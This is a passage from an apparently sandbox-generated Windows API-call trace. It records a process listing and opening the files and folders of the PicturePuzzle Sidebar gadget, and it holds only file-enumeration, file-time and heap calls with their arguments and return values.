hFindFile=0x2e9000) returned 1 [0080.736] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.736] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1172, dwReserved0=0x0, dwReserved1=0x0, cFileName="picturePuzzle.css", cAlternateFileName="")) returned 1 [0080.736] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1454, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0080.736] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1454, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 0 [0080.736] GetLastError () returned 0x12 [0080.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229830) returned 1 [0080.736] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0080.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229938) returned 1 [0080.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229728) returned 1 [0080.736] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0080.736] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0080.736] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.736] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0080.737] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0080.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0080.737] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0080.737] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0080.737] NtClose (Handle=0x168) returned 0x0 [0080.737] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229728) returned 1 [0080.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.737] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1229728 [0080.738] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1229938 [0080.738] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0080.738] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.738] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xbaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="picturePuzzle.js", cAlternateFileName="")) returned 1 [0080.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.738] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.738] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1229830 [0080.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fe938 [0080.739] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1229c50 [0080.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.739] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x267e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0080.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fe958 [0080.740] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1229d58 [0080.741] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.741] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x267e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 0 [0080.741] GetLastError () returned 0x12 [0080.741] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9000 [0080.741] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0080.741] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.741] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xbaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="picturePuzzle.js", cAlternateFileName="")) returned 1 [0080.741] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x267e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0080.741] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x267e, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 0 [0080.741] GetLastError () returned 0x12 [0080.741] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229938) returned 1 [0080.741] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.741] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229830) returned 1 [0080.742] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229728) returned 1 [0080.742] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="picturePuzzle.html", cAlternateFileName="")) returned 1 [0080.742] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x156a, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0080.742] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x156a, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 0 [0080.742] GetLastError () returned 0x12 [0080.742] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1226da8) returned 1 [0080.742] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.742] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1229308) returned 1 [0080.742] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124a698) returned 1 [0080.742] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x388629f5, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x388629f5, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x38888b53, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x255b, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0080.742] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x806605fc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806605fc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Images", cAlternateFileName="")) returned 1 [0080.742] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x124a698 [0080.743] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x806605fc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806605fc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.743] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0080.743] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0080.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0080.743] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0080.743] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0080.743] NtClose (Handle=0x174) returned 0x0 [0080.744] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124a698) returned 1 [0080.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x124a698 [0080.744] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.744] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1229308 [0080.744] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0080.746] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x806605fc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806605fc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.746] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38888b53, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x38888b53, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x38888b53, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb22, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.png", cAlternateFileName="")) returned 1 [0080.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.747] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.747] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1229728 [0080.747] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fe978 [0080.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1229830 [0080.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6140) returned 0x124a7c8 [0080.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12312f0) returned 1 [0080.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.748] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8498f944, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8498f944, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x38888b53, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5323, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.png", cAlternateFileName="")) returned 1 [0080.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.749] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fe998 [0080.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1229938 [0080.749] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.749] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a4e015, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a4e015, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x388aecb1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.png", cAlternateFileName="")) returned 1 [0080.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.750] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.750] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fe9b8 [0080.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1229e60 [0080.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.751] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a74172, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a74172, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x38947229, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6936, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.png", cAlternateFileName="")) returned 1 [0080.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fe9d8 [0080.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1229f68 [0080.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.752] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849b5aa1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x849b5aa1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x389b9643, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7210, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.png", cAlternateFileName="")) returned 1 [0080.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.752] RtlAllocateHeap (HeapHandle=0x940000, 